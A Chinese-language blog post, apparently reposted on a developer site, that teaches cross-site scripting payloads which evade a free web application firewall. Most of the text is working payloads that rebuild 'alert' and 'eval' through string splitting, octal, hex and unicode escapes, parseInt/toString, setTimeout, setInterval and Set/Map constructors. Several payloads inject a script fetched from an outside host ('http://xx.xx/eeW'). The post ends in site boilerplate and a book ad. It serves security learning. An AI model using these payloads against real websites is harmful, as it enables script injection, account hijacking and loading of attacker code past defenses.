内容简介:对于我这个菜鸟来说,我通过谷歌百度学习到很多前辈的资料,甚至每句话都是他的指导,我也很感激前辈的为我们铺设的道路,让我们更快的成长起来。我也乐于分享,可能有些知识点过于单调或者久远,请见谅。前几天花了10买了一个月的服务器,换个waf来测试。
前言
对于我这个菜鸟来说,我通过谷歌百度学习到很多前辈的资料,甚至每句话都是他的指导,我也很感激前辈的为我们铺设的道路,让我们更快的成长起来。我也乐于分享,可能有些知识点过于单调或者久远,请见谅。
waf
前几天花了10买了一个月的服务器,换个waf来测试。
遗漏标签就不测试了,上一篇水文的分享的标签也可以过,不信找几个试试= =
好吧非常打脸,拦截了。
然而换个prompt()函数???免费版当然是这样的啦,高级服务不仅我买不起,还绕不过啊,而且我不是真正的站长,规则我也不会设啊,总之就是这也不会那也不会。
Top属性类似的补充
还记得上篇的top属性嘛
实际上可以利用的还有好几个,看到这里各位是否get到什么了。
我们可以利用的类似拼接的对象又多了几个,例如:
//一家人就是要整整齐齐 <details open ontoggle=top['al'%2B'ert'](1) > <details open ontoggle=self['al'%2B'ert'](1) > <details open ontoggle=parent['al'%2B'ert'](1) > <details open ontoggle=frames['al'%2B'ert'](1) > <details open ontoggle=content['al'%2B'ert'](1) > <details open ontoggle=window['al'%2B'ert'](1) >
这些都可以绕过waf,总结起来有 top
self
parent
frames
content
window
,无疑 top
是最短的,所谓短小精悍,这里借用PKAV的一张ppt。
其他补充
除了拆分构造,我们必须要了解还有编码,这个确实是老生常谈的话题,先看个例子吧
将e字母url编码,成功弹窗也绕过waf。
<details open ontoggle=top['al%65rt'](1) >
其他编码
JS8编码: <details open ontoggle=top['al145rt'](1) > <details open ontoggle=top['141154145162164'](1) > JS16编码: <details open ontoggle=top['alx65rt'](1) > 其他 <details open ontoggle=top[/al/.source%2B/ert/.source](1) >
parseInt()与toString()
parseInt()
例子: alert
字符串用 parseInt函数
,以基数为30转化后为 8680439
toString()
例子: toString函数
将返回的数字 8680439
,以基数为30还原
这样你就能理解下面这个例子了。
<details open ontoggle=top[8680439..toString(30)](1); > <details open ontoggle=top[11189117..toString(32)](1); >
俩个例子
例1
<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
这个例子很巧妙,将 alt
和 lang
属性分别赋值合并起来就是 alert
,并在top属性内将2个属性相加。
例2
<details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>
在top属性内添加2个变量,并赋值构造eval,然后执行alert(1)
测试下,拦截了。
其实waf拦截的是alert这个关键字,换个 prompt()
函数就过了
也可以选择将 alert(1)
编码,因为有eval存在啊,直接拿来用
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))> <details open ontoggle=top[a='al',b='ev',b%2ba]('141154145162164506151')> <details open ontoggle=top[a='al',b='ev',b%2ba]('u0061u006cu0065u0072u0074u0028u0031u0029')>
setTimeout()函数也是没问题的,毕竟也能执行代码。
<details open ontoggle=top[a='meout',b='setTi',b%2ba]('141154145162164506151')>
eval函数的补充
setTimeout
waf拦截
<svg/onload=setTimeout`alert(1)`>
编码下,就绕过了。
<svg/onload=setTimeout`alertu0028233u0029`>
setInterval
与 setInterval
不同,对于 setTimeout()
只执行code一次。
<svg/onload=setInterval('al'%2b'ert(1)')>
绕过waf,引用外部js。
<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
拆分与编码 <svg/onload=u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')> <svg/onload=u0073etInterval(appendChild(createElement('sc162ipt')).src='http://xx.xx/eeW')> <svg/onload=u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')> <svg/onload=u0073etInterval(u0061ppendChild(u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')> 结合函数: <iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') > <svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') > <svg/onload=s=u0063reateElement('scr'%2b'ipt');u0062ody.u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); >
关于运用基于DOM的方法创建和插入节点把外部JS文件注入到网页,这种方法在<<XSS跨站脚本gj剖析与防御>>有介绍过。我这里简单演示下,如果你了解或者不感兴趣可以跳过这段。
首先用 createElement方法
创建一个script标签。
接下来给<script>的 src属性
设置成外部url
可以看到<script>标签以及src属性已经被创建出来,但是并不在页面上输出啊。
我们就要用到 appendChild()方法
将变量s插入页面。
再来看看页面上
constructor属性
少年! Post
到什么了没有。
又是拆分。。注意后面的 ()
<svg/onload=Set.constructor('al'%2b'ert(1)')()>
反引号我看行。。注意后面2个反引号。
<svg/onload=Set.constructor`alx65rtx28/xss/x29```>
又来引用外部url。编码拆分以及结合函数,请参考上章= =,不然我怕有人说我水。。。
<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>
补充(又是补充,你**就不能一次讲完嘛!写个文章还划水!)
咳咳,该补充的还是要补充的,除了 Set 对象还有嘛?当然有的。
看些例子,都可以弹窗。
来个简单拆分。
总结起来就是 Set.constructor
Map.constructor
clear.constructor
Array.constructor
WeakSet.constructor
(注意区分大小写的)
<svg/onload=Set.constructor`alx65rtx28/xss/x29```> <svg/onload=Map.constructor`alx65rtx28/xss/x29```> <svg/onload=clear.constructor`alx65rtx28/xss/x29```> <svg/onload=Array.constructor`alx65rtx28/xss/x29```> <svg/onload=WeakSet.constructor`alx65rtx28/xss/x29```>
引用外部…
感兴趣的同学可以关注: Github项目
参考致谢
以上所述就是小编给大家介绍的《测试WAF来学习XSS姿势(二)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 测试WAF来学习XSS姿势
- 测试WAF来学习XSS姿势(三)
- 一句话木马之常见十种过狗姿势测试
- 以太坊去中心化应用dApp的渗透测试姿势浅析
- 强大的姿势感知模型用于姿势不变的人脸识别
- 从姿势到图像——基于人体姿势引导的时尚图像生成算法
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Effective JavaScript
David Herman / Addison-Wesley Professional / 2012-12-6 / USD 39.99
"It's uncommon to have a programming language wonk who can speak in such comfortable and friendly language as David does. His walk through the syntax and semantics of JavaScript is both charming and h......一起来看看 《Effective JavaScript》 这本书的介绍吧!